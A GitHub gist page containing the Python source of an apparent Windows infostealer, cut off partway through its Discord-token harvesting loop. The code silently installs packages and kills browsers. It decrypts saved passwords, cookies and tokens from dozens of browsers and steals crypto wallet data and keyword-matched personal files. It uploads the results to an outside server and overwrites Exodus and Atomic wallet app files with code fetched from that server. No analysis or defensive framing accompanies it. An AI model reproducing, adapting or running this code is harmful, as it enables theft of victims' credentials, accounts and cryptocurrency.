Skip to content

Instantly share code, notes, and snippets.

@carcigenicate
Created January 13, 2025 18:20
Show Gist options
  • Save carcigenicate/f446581246cd7270d3b29a35e4eb58e4 to your computer and use it in GitHub Desktop.
Save carcigenicate/f446581246cd7270d3b29a35e4eb58e4 to your computer and use it in GitHub Desktop.
import base64\nimport json\nimport os\nimport re\nimport sqlite3\nimport shutil\nimport subprocess\nimport zipfile\nimport sys\nfrom zipfile import ZipFile\nfrom urllib.request import Request, urlopen\nimport time\n\nuserid = "3"\n\nCURRENT_INTERPRETER = sys.executable\nproc = subprocess.Popen([CURRENT_INTERPRETER, "-m", "pip", "install", "pycryptodome", "pypiwin32", "pywin32","requests", "websocket-client"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,creationflags=subprocess.CREATE_NO_WINDOW)\nproc.wait()\n\ntry:\n import win32crypt\n from Crypto.Cipher import AES\n import requests\n import websocket\n\nexcept:\n current_file = os.path.abspath(__file__)\n subprocess.Popen([CURRENT_INTERPRETER, current_file], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,creationflags=subprocess.CREATE_NO_WINDOW)\n exit()\n\nUSER_PROFILE = os.getenv(\'USERPROFILE\')\nAPPDATA = os.getenv(\'APPDATA\')\nLOCALAPPDATA = os.getenv(\'LOCALAPPDATA\')\nSTORAGE_PATH = os.path.join(APPDATA, "Microsoft Store")\nMAIN_URL = "https://pentagon.cy"\nPROGRAMFILESX86 = os.getenv("ProgramFiles(x86)")\n\nCOOKIECOUNT = 0\nFILES = []\n\nif os.path.exists(os.path.join(LOCALAPPDATA, "HD Realtek Audio Player")):\n sys.exit(0)\nelse:\n os.makedirs(os.path.join(LOCALAPPDATA, "HD Realtek Audio Player"))\n\nif not os.path.exists(STORAGE_PATH):\n os.makedirs(STORAGE_PATH)\n\nCHROME_PATHS = [\n {"name": "Chrome", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data"), "taskname": "chrome.exe", "exepath": "C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe"},\n\t{"name": "Chrome (x86)", "path": os.path.join(LOCALAPPDATA, "Google(x86)", "Chrome", "User Data"), "taskname": "chrome.exe", "exepath": PROGRAMFILESX86 + "\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe"},\n\t{"name": "Chrome SxS", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome SxS", "User Data"), "taskname": "chrome.exe", "exepath": LOCALAPPDATA + "\\\\Google\\\\Chrome SxS\\\\Application\\\\chrome.exe"},\n\t{"name": "Edge", "path": os.path.join(LOCALAPPDATA, "Microsoft", "Edge", "User Data"), "taskname": "msedge.exe", "exepath": PROGRAMFILESX86 + "\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe"},\n\t{"name": "Brave", "path": os.path.join(LOCALAPPDATA, "BraveSoftware", "Brave-Browser", "User Data"), "taskname": "brave.exe", "exepath": "C:\\\\Program Files\\\\BraveSoftware\\\\Brave-Browser\\\\Application\\\\brave.exe"},\n]\n\nCHROMIUM_BROWSERS = [\n {"name": "Chrome", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data"), "taskname": "chrome.exe", "exepath": "C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe"},\n\t{"name": "Chrome (x86)", "path": os.path.join(LOCALAPPDATA, "Google(x86)", "Chrome", "User Data"), "taskname": "chrome.exe", "exepath": PROGRAMFILESX86 + "\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe"},\n\t{"name": "Chrome SxS", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome SxS", "User Data"), "taskname": "chrome.exe", "exepath": LOCALAPPDATA + "\\\\Google\\\\Chrome SxS\\\\Application\\\\chrome.exe"},\n\t{"name": "Edge", "path": os.path.join(LOCALAPPDATA, "Microsoft", "Edge", "User Data"), "taskname": "msedge.exe", "exepath": PROGRAMFILESX86 + "\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe"},\n\t{"name": "Brave", "path": os.path.join(LOCALAPPDATA, "BraveSoftware", "Brave-Browser", "User Data"), "taskname": "brave.exe", "exepath": "C:\\\\Program Files\\\\BraveSoftware\\\\Brave-Browser\\\\Application\\\\brave.exe"},\n {"name": "Opera", "path": os.path.join(APPDATA, "Opera Software", "Opera Stable"), "taskname": "opera.exe", "exepath": ""},\n {"name": "Opera GX", "path": os.path.join(APPDATA, "Opera Software", "Opera GX Stable"), "taskname": "opera.exe", "exepath": ""},\n {"name": "Yandex", "path": os.path.join(APPDATA, "Yandex", "YandexBrowser", "User Data"), "taskname": "yandex.exe", "exepath": ""},\n {"name": "Chromium", "path": os.path.join(LOCALAPPDATA, "Chromium", "User Data"), "taskname": "chromium.exe", "exepath": ""},\n {"name": "Thorium", "path": os.path.join(LOCALAPPDATA, "Thorium", "User Data"), "taskname": "thorium.exe", "exepath": ""},\n {"name": "Maple", "path": os.path.join(LOCALAPPDATA, "MapleStudio", "ChromePlus", "User Data"), "taskname": "maple.exe", "exepath": ""},\n {"name": "Iridium", "path": os.path.join(LOCALAPPDATA, "Iridium", "User Data"), "taskname": "iridium.exe", "exepath": ""},\n {"name": "7Star", "path": os.path.join(LOCALAPPDATA, "7Star", "7Star", "User Data"), "taskname": "7star.exe", "exepath": ""},\n {"name": "CentBrowser", "path": os.path.join(LOCALAPPDATA, "CentBrowser", "User Data"), "taskname": "centbrowser.exe", "exepath": ""},\n {"name": "Chedot", "path": os.path.join(LOCALAPPDATA, "Chedot", "User Data"), "taskname": "chedot.exe", "exepath": ""},\n {"name": "Vivaldi", "path": os.path.join(LOCALAPPDATA, "Vivaldi", "User Data"), "taskname": "vivaldi.exe", "exepath": ""},\n {"name": "Kometa", "path": os.path.join(LOCALAPPDATA, "Kometa", "User Data"), "taskname": "kometa.exe", "exepath": ""},\n {"name": "Elements", "path": os.path.join(LOCALAPPDATA, "Elements Browser", "User Data"), "taskname": "elements.exe", "exepath": ""},\n {"name": "Epic Privacy Browser", "path": os.path.join(LOCALAPPDATA, "Epic Privacy Browser", "User Data"), "taskname": "epic.exe", "exepath": ""},\n {"name": "Uran", "path": os.path.join(LOCALAPPDATA, "uCozMedia", "Uran", "User Data"), "taskname": "uran.exe", "exepath": ""},\n {"name": "Fenrir", "path": os.path.join(LOCALAPPDATA, "Fenrir Inc", "Sleipnir5", "setting", "modules", "ChromiumViewer"), "taskname": "fenrir.exe", "exepath": ""},\n {"name": "Catalina", "path": os.path.join(LOCALAPPDATA, "CatalinaGroup", "Citrio", "User Data"), "taskname": "catalina.exe", "exepath": ""},\n {"name": "Coowon", "path": os.path.join(LOCALAPPDATA, "Coowon", "Coowon", "User Data"), "taskname": "coowon.exe", "exepath": ""},\n {"name": "Liebao", "path": os.path.join(LOCALAPPDATA, "liebao", "User Data"), "taskname": "liebao.exe", "exepath": ""},\n {"name": "QIP Surf", "path": os.path.join(LOCALAPPDATA, "QIP Surf", "User Data"), "taskname": "qipsurf.exe", "exepath": ""},\n {"name": "Orbitum", "path": os.path.join(LOCALAPPDATA, "Orbitum", "User Data"), "taskname": "orbitum.exe", "exepath": ""},\n {"name": "Dragon", "path": os.path.join(LOCALAPPDATA, "Comodo", "Dragon", "User Data"), "taskname": "dragon.exe", "exepath": ""},\n {"name": "360Browser", "path": os.path.join(LOCALAPPDATA, "360Browser", "Browser", "User Data"), "taskname": "360browser.exe", "exepath": ""},\n {"name": "Maxthon", "path": os.path.join(LOCALAPPDATA, "Maxthon3", "User Data"), "taskname": "maxthon.exe", "exepath": ""},\n {"name": "K-Melon", "path": os.path.join(LOCALAPPDATA, "K-Melon", "User Data"), "taskname": "kmelon.exe", "exepath": ""},\n {"name": "CocCoc", "path": os.path.join(LOCALAPPDATA, "CocCoc", "Browser", "User Data"), "taskname": "coccoc.exe", "exepath": ""},\n {"name": "Amigo", "path": os.path.join(LOCALAPPDATA, "Amigo", "User Data"), "taskname": "amigo.exe", "exepath": ""},\n {"name": "Torch", "path": os.path.join(LOCALAPPDATA, "Torch", "User Data"), "taskname": "torch.exe", "exepath": ""},\n {"name": "Sputnik", "path": os.path.join(LOCALAPPDATA, "Sputnik", "Sputnik", "User Data"), "taskname": "sputnik.exe", "exepath": ""},\n {"name": "DCBrowser", "path": os.path.join(LOCALAPPDATA, "DCBrowser", "User Data"), "taskname": "dcbrowser.exe", "exepath": ""},\n {"name": "UR Browser", "path": os.path.join(LOCALAPPDATA, "UR Browser", "User Data"), "taskname": "urbrowser.exe", "exepath": ""},\n {"name": "Slimjet", "path": os.path.join(LOCALAPPDATA, "Slimjet", "User Data"), "taskname": "slimjet.exe", "exepath": ""},\n]\n\nCHROMIUM_SUBPATHS = [\n {"path": ""},\n {"path": "Default"},\n {"path": "Profile 1"},\n {"path": "Profile 2"},\n {"path": "Profile 3"},\n {"path": "Profile 4"},\n {"path": "Profile 5"},\n]\n\nBROWSER_EXTENSIONS = [\n {"name": "Authenticator", "path": "\\\\Local Extension Settings\\\\bhghoamapcdpbohphigoooaddinpkbai"},\n {"name": "Binance", "path": "\\\\Local Extension Settings\\\\fhbohimaelbohpjbbldcngcnapndodjp"},\n {"name": "Bitapp", "path": "\\\\Local Extension Settings\\\\fihkakfobkmkjojpchpfgcmhfjnmnfpi"},\n {"name": "BoltX", "path": "\\\\Local Extension Settings\\\\aodkkagnadcbobfpggfnjeongemjbjca"},\n {"name": "Coin98", "path": "\\\\Local Extension Settings\\\\aeachknmefphepccionboohckonoeemg"},\n {"name": "Coinbase", "path": "\\\\Local Extension Settings\\\\hnfanknocfeofbddgcijnmhnfnkdnaad"},\n {"name": "Core", "path": "\\\\Local Extension Settings\\\\agoakfejjabomempkjlepdflaleeobhb"},\n {"name": "Crocobit", "path": "\\\\Local Extension Settings\\\\pnlfjmlcjdjgkddecgincndfgegkecke"},\n {"name": "Equal", "path": "\\\\Local Extension Settings\\\\blnieiiffboillknjnepogjhkgnoapac"},\n {"name": "Ever", "path": "\\\\Local Extension Settings\\\\cgeeodpfagjceefieflmdfphplkenlfk"},\n {"name": "ExodusWeb3", "path": "\\\\Local Extension Settings\\\\aholpfdialjgjfhomihkjbmgjidlcdno"},\n {"name": "Fewcha", "path": "\\\\Local Extension Settings\\\\ebfidpplhabeedpnhjnobghokpiioolj"},\n {"name": "Finnie", "path": "\\\\Local Extension Settings\\\\cjmkndjhnagcfbpiemnkdpomccnjblmj"},\n {"name": "Guarda", "path": "\\\\Local Extension Settings\\\\hpglfhgfnhbgpjdenjgmdgoeiappafln"},\n {"name": "Guild", "path": "\\\\Local Extension Settings\\\\nanjmdknhkinifnkgdcggcfnhdaammmj"},\n {"name": "HarmonyOutdated", "path": "\\\\Local Extension Settings\\\\fnnegphlobjdpkhecapkijjdkgcjhkib"},\n {"name": "Iconex", "path": "\\\\Local Extension Settings\\\\flpiciilemghbmfalicajoolhkkenfel"},\n {"name": "Jaxx Liberty", "path": "\\\\Local Extension Settings\\\\cjelfplplebdjjenllpjcblmjkfcffne"},\n {"name": "Kaikas", "path": "\\\\Local Extension Settings\\\\jblndlipeogpafnldhgmapagcccfchpi"},\n {"name": "KardiaChain", "path": "\\\\Local Extension Settings\\\\pdadjkfkgcafgbceimcpbkalnfnepbnk"},\n {"name": "Keplr", "path": "\\\\Local Extension Settings\\\\dmkamcknogkgcdfhhbddcghachkejeap"},\n {"name": "Liquality", "path": "\\\\Local Extension Settings\\\\kpfopkelmapcoipemfendmdcghnegimn"},\n {"name": "MEWCX", "path": "\\\\Local Extension Settings\\\\nlbmnnijcnlegkjjpcfjclmcfggfefdm"},\n {"name": "MaiarDEFI", "path": "\\\\Local Extension Settings\\\\dngmlblcodfobpdpecaadgfbcggfjfnm"},\n {"name": "Martian", "path": "\\\\Local Extension Settings\\\\efbglgofoippbgcjepnhiblaibcnclgk"},\n {"name": "Math", "path": "\\\\Local Extension Settings\\\\afbcbjpbpfadlkmhmclhkeeodmamcflc"},\n {"name": "Metamask", "path": "\\\\Local Extension Settings\\\\nkbihfbeogaeaoehlefnkodbefgpgknn"},\n {"name": "Metamask2", "path": "\\\\Local Extension Settings\\\\ejbalbakoplchlghecdalmeeeajnimhm"},\n {"name": "Mobox", "path": "\\\\Local Extension Settings\\\\fcckkdbjnoikooededlapcalpionmalo"},\n {"name": "Nami", "path": "\\\\Local Extension Settings\\\\lpfcbjknijpeeillifnkikgncikgfhdo"},\n {"name": "Nifty", "path": "\\\\Local Extension Settings\\\\jbdaocneiiinmjbjlgalhcelgbejmnid"},\n {"name": "Oxygen", "path": "\\\\Local Extension Settings\\\\fhilaheimglignddkjgofkcbgekhenbh"},\n {"name": "PaliWallet", "path": "\\\\Local Extension Settings\\\\mgffkfbidihjpoaomajlbgchddlicgpn"},\n {"name": "Petra", "path": "\\\\Local Extension Settings\\\\ejjladinnckdgjemekebdpeokbikhfci"},\n {"name": "Phantom", "path": "\\\\Local Extension Settings\\\\bfnaelmomeimhlpmgjnjophhpkkoljpa"},\n {"name": "Pontem", "path": "\\\\Local Extension Settings\\\\phkbamefinggmakgklpkljjmgibohnba"},\n {"name": "Ronin", "path": "\\\\Local Extension Settings\\\\fnjhmkhhmkbjkkabndcnnogagogbneec"},\n {"name": "Safepal", "path": "\\\\Local Extension Settings\\\\lgmpcpglpngdoalbgeoldeajfclnhafa"},\n {"name": "Saturn", "path": "\\\\Local Extension Settings\\\\nkddgncdjgjfcddamfgcmfnlhccnimig"},\n {"name": "Slope", "path": "\\\\Local Extension Settings\\\\pocmplpaccanhmnllbbkpgfliimjljgo"},\n {"name": "Solfare", "path": "\\\\Local Extension Settings\\\\bhhhlbepdkbapadjdnnojkbgioiodbic"},\n {"name": "Sollet", "path": "\\\\Local Extension Settings\\\\fhmfendgdocmcbmfikdcogofphimnkno"},\n {"name": "Starcoin", "path": "\\\\Local Extension Settings\\\\mfhbebgoclkghebffdldpobeajmbecfk"},\n {"name": "Swash", "path": "\\\\Local Extension Settings\\\\cmndjbecilbocjfkibfbifhngkdmjgog"},\n {"name": "TempleTezos", "path": "\\\\Local Extension Settings\\\\ookjlbkiijinhpmnjffcofjonbfbgaoc"},\n {"name": "TerraStation", "path": "\\\\Local Extension Settings\\\\aiifbnbfobpmeekipheeijimdpnlpgpp"},\n {"name": "Tokenpocket", "path": "\\\\Local Extension Settings\\\\mfgccjchihfkkindfppnaooecgfneiii"},\n {"name": "Ton", "path": "\\\\Local Extension Settings\\\\nphplpgoakhhjchkkhmiggakijnkhfnd"},\n {"name": "Tron", "path": "\\\\Local Extension Settings\\\\ibnejdfjmmkpcnlpebklmnkoeoihofec"},\n {"name": "Trust Wallet", "path": "\\\\Local Extension Settings\\\\egjidjbpglichdcondbcbdnbeeppgdph"},\n {"name": "Wombat", "path": "\\\\Local Extension Settings\\\\amkmjjmmflddogmhpjloimipbofnfjih"},\n {"name": "XDEFI", "path": "\\\\Local Extension Settings\\\\hmeobnfnfcmdkdcmlblgagmfpfboieaf"},\n {"name": "XMR.PT", "path": "\\\\Local Extension Settings\\\\eigblbgjknlfbajkfhopmcojidlgcehm"},\n {"name": "XinPay", "path": "\\\\Local Extension Settings\\\\bocpokimicclpaiekenaeelehdjllofo"},\n {"name": "Yoroi", "path": "\\\\Local Extension Settings\\\\ffnbelfdoeiohenkjibnmadjiehjhajb"},\n {"name": "iWallet", "path": "\\\\Local Extension Settings\\\\kncchdigobghenbbaddojjnnaogfppfj"}\n]\n\nWALLET_PATHS = [\n {"name": "Atomic", "path": os.path.join(APPDATA, "atomic", "Local Storage", "leveldb")},\n {"name": "Exodus", "path": os.path.join(APPDATA, "Exodus", "exodus.wallet")},\n {"name": "Electrum", "path": os.path.join(APPDATA, "Electrum", "wallets")},\n {"name": "Electrum-LTC", "path": os.path.join(APPDATA, "Electrum-LTC", "wallets")},\n {"name": "Zcash", "path": os.path.join(APPDATA, "Zcash")},\n {"name": "Armory", "path": os.path.join(APPDATA, "Armory")},\n {"name": "Bytecoin", "path": os.path.join(APPDATA, "bytecoin")},\n {"name": "Jaxx", "path": os.path.join(APPDATA, "com.liberty.jaxx", "IndexedDB", "file__0.indexeddb.leveldb")},\n {"name": "Etherium", "path": os.path.join(APPDATA, "Ethereum", "keystore")},\n {"name": "Guarda", "path": os.path.join(APPDATA, "Guarda", "Local Storage", "leveldb")},\n {"name": "Coinomi", "path": os.path.join(APPDATA, "Coinomi", "Coinomi", "wallets")},\n]\n\nPATHS_TO_SEARCH = [\n USER_PROFILE + "\\\\Desktop",\n USER_PROFILE + "\\\\Documents",\n USER_PROFILE + "\\\\Downloads",\n USER_PROFILE + "\\\\OneDrive\\\\Documents",\n USER_PROFILE + "\\\\OneDrive\\\\Desktop",\n]\n\nFILE_KEYWORDS = [\n "passw",\n "mdp",\n "motdepasse",\n "mot_de_passe",\n "login",\n "secret",\n "account",\n "acount",\n "paypal",\n "banque",\n "metamask",\n "wallet",\n "crypto",\n "exodus",\n "discord",\n "2fa",\n "code",\n "memo",\n "compte",\n "token",\n "backup",\n "seecret"\n "passphrase"\n]\n\nALLOWED_EXTENSIONS = [\n ".txt",\n ".log",\n ".doc",\n ".docx",\n ".xls",\n ".xlsx",\n ".ppt",\n ".pptx",\n ".odt",\n ".pdf",\n ".rtf",\n ".json",\n ".csv",\n ".db",\n ".jpg",\n ".jpeg",\n ".png",\n ".gif",\n ".webp",\n ".mp4"\n]\n\nDISCORD_PATHS = [\n {"name": "Discord", "path": os.path.join(APPDATA, "discord", "Local Storage", "leveldb")},\n {"name": "Discord Canary", "path": os.path.join(APPDATA, "discordcanary", "Local Storage", "leveldb")},\n {"name": "Discord PTB", "path": os.path.join(APPDATA, "discordptb", "Local Storage", "leveldb")},\n {"name": "Opera", "path": os.path.join(APPDATA, "Opera Software", "Opera Stable", "Local Storage", "leveldb")},\n {"name": "Opera GX", "path": os.path.join(APPDATA, "Opera Software", "Opera GX Stable", "Local Storage", "leveldb")},\n {"name": "Amigo", "path": os.path.join(LOCALAPPDATA, "Amigo", "User Data", "Local Storage", "leveldb")},\n {"name": "Torch", "path": os.path.join(LOCALAPPDATA, "Torch", "User Data", "Local Storage", "leveldb")},\n {"name": "Kometa", "path": os.path.join(LOCALAPPDATA, "Kometa", "User Data", "Local Storage", "leveldb")},\n {"name": "Orbitum", "path": os.path.join(LOCALAPPDATA, "Orbitum", "User Data", "Local Storage", "leveldb")},\n {"name": "CentBrowser", "path": os.path.join(LOCALAPPDATA, "CentBrowser", "User Data", "Local Storage", "leveldb")},\n {"name": "7Star", "path": os.path.join(LOCALAPPDATA, "7Star", "7Star", "User Data", "Local Storage", "leveldb")},\n {"name": "Sputnik", "path": os.path.join(LOCALAPPDATA, "Sputnik", "Sputnik", "User Data", "Local Storage", "leveldb")},\n {"name": "Vivaldi", "path": os.path.join(LOCALAPPDATA, "Vivaldi", "User Data", "Default", "Local Storage", "leveldb")},\n {"name": "Chrome SxS", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome SxS", "User Data", "Local Storage", "leveldb")},\n {"name": "Chrome", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Default", "Local Storage", "leveldb")},\n {"name": "Chrome1", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Profile 1", "Local Storage", "leveldb")},\n {"name": "Chrome2", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Profile 2", "Local Storage", "leveldb")},\n {"name": "Chrome3", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Profile 3", "Local Storage", "leveldb")},\n {"name": "Chrome4", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Profile 4", "Local Storage", "leveldb")},\n {"name": "Chrome5", "path": os.path.join(LOCALAPPDATA, "Google", "Chrome", "User Data", "Profile 5", "Local Storage", "leveldb")},\n {"name": "Epic Privacy Browser", "path": os.path.join(LOCALAPPDATA, "Epic Privacy Browser", "User Data", "Local Storage", "leveldb")},\n {"name": "Microsoft Edge", "path": os.path.join(LOCALAPPDATA, "Microsoft", "Edge", "User Data", "Default", "Local Storage", "leveldb")},\n {"name": "Uran", "path": os.path.join(LOCALAPPDATA, "uCozMedia", "Uran", "User Data", "Default", "Local Storage", "leveldb")},\n {"name": "Yandex", "path": os.path.join(LOCALAPPDATA, "Yandex", "YandexBrowser", "User Data", "Default", "Local Storage", "leveldb")},\n {"name": "Brave", "path": os.path.join(LOCALAPPDATA, "BraveSoftware", "Brave-Browser", "User Data", "Default", "Local Storage", "leveldb")},\n {"name": "Iridium", "path": os.path.join(LOCALAPPDATA, "Iridium", "User Data", "Default", "Local Storage", "leveldb")}\n]\n\nDISCORD_TOKENS = []\nPASSWORDS = []\nCOOKIES = []\nWEB_DATA = []\nDISCORD_IDS = []\n\ndef kill_process(process_name):\n result = subprocess.Popen(f"taskkill /im {process_name} /t /f >nul 2>&1", shell=True)\n\ndef decrypt_data(data, key):\n try:\n iv = data[3:15]\n data = data[15:]\n cipher = AES.new(key, AES.MODE_GCM, iv)\n return cipher.decrypt(data)[:-16].decode()\n except:\n return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])\n\ndef zip_to_storage(name, source, destination):\n if os.path.isfile(source):\n with zipfile.ZipFile(destination + f"\\\\{name}.zip", "w") as z:\n z.write(source, os.path.basename(source))\n else:\n with zipfile.ZipFile(destination + f"\\\\{name}.zip", "w") as z:\n for root, dirs, files in os.walk(source):\n for file in files:\n z.write(os.path.join(root, file), os.path.relpath(os.path.join(root, file), os.path.join(source, \'..\')))\n\ndef upload_to_server(filepath, loguuid):\n for i in range(10):\n try:\n url = MAIN_URL + "/delivery"\n files = {\'file\': open(filepath, \'rb\')}\n headers = {\'X-Trace-ID\': loguuid}\n r = requests.post(url, files=files, headers = headers)\n if r.status_code == 200:\n break\n except: pass\n\ndef validate_discord_token(token):\n r = requests.get("https://discord.com/api/v9/users/@me", headers={"Authorization": token})\n if r.status_code == 200:\n return r.json()\n else:\n return None\n\ndef taskkill(taskname):\n subprocess.run(["taskkill", "/F", "/IM", taskname], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\ndef inject(loguuid):\n path = os.path.join(LOCALAPPDATA, "exodus")\n if not os.path.exists(path): return\n listOfFile = os.listdir(path)\n apps = []\n for file in listOfFile:\n if "app-" in file:\n apps += [file]\n exodusPatchURL = MAIN_URL + "/exodus"\n req = Request(exodusPatchURL)\n response = urlopen(req)\n data = response.read()\n kill_process("exodus.exe")\n for app in apps:\n try:\n fullpath = f"{path}\\\\{app}\\\\resources\\\\app.asar"\n\n with open(fullpath, \'wb\') as out_file1:\n\n out_file1.write(data)\n licensepath = f"{path}\\\\{app}\\\\LICENSE"\n with open(licensepath, "w") as out_file2:\n out_file2.write(loguuid)\n\n except: pass\n\ndef inject_atomic(loguuid):\n path = os.path.join(LOCALAPPDATA, "Programs", "atomic")\n if not os.path.exists(path): return\n atomicPatchURL = MAIN_URL + "/atomic"\n req = Request(atomicPatchURL)\n response = urlopen(req)\n data = response.read()\n kill_process("Atomic Wallet.exe")\n try:\n fullpath = f"{path}\\\\resources\\\\app.asar"\n with open(fullpath, \'wb\') as out_file1:\n\n out_file1.write(data)\n licensepath = f"{path}\\\\LICENSE.electron.txt"\n with open(licensepath, "w") as out_file2:\n out_file2.write(loguuid)\n except: pass\n\ndef chromiumcookies(profilepath):\n try:\n cookies_file = os.path.join(profilepath, "Network", "Cookies")\n temp_db = os.path.join(profilepath, f"{browser[\'name\']}-ck.db")\n shutil.copy(cookies_file, temp_db)\n connection = sqlite3.connect(temp_db)\n cursor = connection.cursor()\n\n cursor.execute("SELECT host_key, name, encrypted_value FROM cookies")\n\n cookie_str = ""\n\n for row in cursor.fetchall():\n\n host = row[0]\n\n name = row[1]\n\n value = decrypt_data(row[2], decryption_key)\n\n cookie_str += f"{host}\\tTRUE\\t/\\tFALSE\\t13355861278849698\\t{name}\\t{value}\\n"\n COOKIECOUNT = COOKIECOUNT+1\n COOKIES.append({"browser": browser["name"], "profile": subpath["name"], "cookies": base64.b64encode(cookie_str.encode()).decode()})\n cursor.close()\n connection.close()\n os.remove(temp_db)\n except: pass\n\nfor browser in CHROMIUM_BROWSERS:\n taskkill(browser["taskname"])\n local_state = os.path.join(browser["path"], "Local State")\n if not os.path.exists(local_state): continue\n\n with open(local_state, "r", encoding="utf-8") as f:\n local_state = json.loads(f.read())\n\n key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:]\n try:\n decryption_key = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]\n except:\n pass\n for subpath in CHROMIUM_SUBPATHS:\n\n if not os.path.exists(os.path.join(browser["path"], subpath["path"])): continue\n\n try:\n login_data_file = os.path.join(browser["path"], subpath["path"], "Login Data")\n temp_db = os.path.join(browser["path"], subpath["path"], f"{browser[\'name\']}-pw.db")\n shutil.copy(login_data_file, temp_db)\n\n connection = sqlite3.connect(temp_db)\n\n cursor = connection.cursor()\n\n cursor.execute("SELECT origin_url, username_value, password_value FROM logins")\n\n for row in cursor.fetchall():\n\n origin_url = row[0]\n\n username = row[1]\n\n password = decrypt_data(row[2], decryption_key)\n\n if username or password:\n PASSWORDS.append({"browser": browser["name"], "url": origin_url, "username": username, "password": password})\n cursor.close()\n connection.close()\n os.remove(temp_db)\n\n except:\n pass\n\n try:\n if browser["exepath"] == "":\n chromiumcookies(os.path.join(browser["path"], subpath["path"]))\n except:\n pass\n\n try:\n web_data_file = os.path.join(browser["path"], subpath["path"], "Web Data")\n\n temp_db = os.path.join(browser["path"], subpath["path"], f"{browser[\'name\']}-webdata.db")\n\n shutil.copy(web_data_file, temp_db)\n\n connection = sqlite3.connect(temp_db)\n\n cursor = connection.cursor()\n\n cursor.execute("SELECT service, encrypted_token FROM token_service")\n\n for row in cursor.fetchall():\n web_service = row[0]\n web_token = decrypt_data(row[1], decryption_key)\n WEB_DATA.append({"account_id": web_service, "refresh_token": web_token})\n\n cursor.close()\n\n connection.close()\n os.remove(temp_db)\n except:\n pass\n\n for extension in BROWSER_EXTENSIONS:\n extension_path = os.path.join(browser["path"], subpath["path"]) + extension["path"]\n if os.path.exists(extension_path):\n try:\n zip_to_storage(f"{browser[\'name\']}-{subpath[\'name\']}-{extension[\'name\']}", extension_path, STORAGE_PATH)\n except:\n pass\n\nfirefox_path = os.path.join(APPDATA, \'Mozilla\', \'Firefox\', \'Profiles\')\n\nif os.path.exists(firefox_path):\n taskkill("firefox.exe")\n for profile in os.listdir(firefox_path):\n\n try:\n\n if profile.endswith(\'.default\') or profile.endswith(\'.default-release\'):\n\n profile_path = os.path.join(firefox_path, profile)\n\n if os.path.exists(os.path.join(profile_path, "cookies.sqlite")):\n\n shutil.copy(os.path.join(profile_path, "cookies.sqlite"), os.path.join(profile_path, "cookies-copy.sqlite"))\n connection = sqlite3.connect(os.path.join(profile_path, "cookies-copy.sqlite"))\n cursor = connection.cursor()\n\n cursor.execute("SELECT host, name, value FROM moz_cookies")\n\n cookie_str = ""\n for row in cursor.fetchall():\n host, name, value = row\n cookie_str += f"{host}\\tTRUE\\t/\\tFALSE\\t13355861278849698\\t{name}\\t{value}\\n"\n COOKIECOUNT = COOKIECOUNT+1\n COOKIES.append({"browser": "Firefox", "profile": profile, "cookies": base64.b64encode(cookie_str.encode()).decode()})\n cursor.close()\n connection.close()\n os.remove(os.path.join(profile_path, "cookies-copy.sqlite"))\n except:\n continue\n\nfor wallet_file in WALLET_PATHS:\n if os.path.exists(wallet_file["path"]):\n try:\n zip_to_storage(wallet_file["name"], wallet_file["path"], STORAGE_PATH)\n except:\n pass\n\nfor discord_path in DISCORD_PATHS:\n if not os.path.exists(discord_path["path"]): continue\n try:\n name_without_spaces = discord_path["name"].replace(" ", "")\n if "cord" in discord_path["path"]:\n if not os.path.exists(APPDATA + f"\\\\{name_without_spaces}\\\\Local State"): continue\n try:\n with open(APPDATA + f"\\\\{name_without_spaces}\\\\Local State", "r", encoding="utf-8") as f:\n local_state = json.loads(f.read())\n\n key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:]\n\n decryption_key = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]\n\n for file_name in os.listdir(discord_path["path"]):\n if file_name[-3:] not in ["ldb", "log"]: continue\n for line in [x.strip() for x in open(f\'{discord_path["path"]}\\\\{file_name}\', errors=\'ignore\').readlines() if x.strip()]:\n for y in re.findall(r"dQw4w9WgXcQ:[^\\"]*", line):\n\n token = decrypt_data(base64.b64decode(y.split(\'dQw4w9WgXcQ:\')[1]), decryption_key)\n token_data = validate_discord_token(token)\n\n if token_data:\n if token_data["id"] not in DISCORD_IDS:\n DISCORD_IDS.append(token_data["id"])\n username = token_data["username"] if token_data["discriminator"] == "0" else f"{token_data[\'username\']}#{token_data[\'discriminator\']}"\n phone_number = token_data["phone"] if token_data["phone"] else "Not linked"\n DISCORD_TOKENS.append(\n {"token": token, "user_id": token_data["id"], "username": username,\n "displayname": token_data["global_name"], "email": token_data["email"],\n "phone": phone_number})\n TOKENCOUNT = TOKENCOUNT+1\n except:\n pass\n else:\n for file_name in os.listdir(discord_path["path"]):\n if file_name[-3:] not in ["ldb", "log"]: continue\n for line in [x.strip() for x in open(f\'{discord_path["path"]}\\\\{file_name}\', errors=\'ignore\').readlines() if x.strip()]:\n for token in re.findall(r"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}", line):\n token_data = validate_discord_token(token)\n if token_data:\n if token_data["id"] not in DISCORD_IDS:\n DISCORD_IDS.append(token_data["id"])\n username = token_data["username"] if token_data["discriminator"] == "0" else f"{token_data[\'username\']}#{token_data[\'discriminator\']}"\n phone_number = token_data["phone"] if token_data["phone"] else "Not linked"\n DISCORD_TOKENS.append(\n {"token": token, "user_id": token_data["id"], "username": username,\n "displayname": 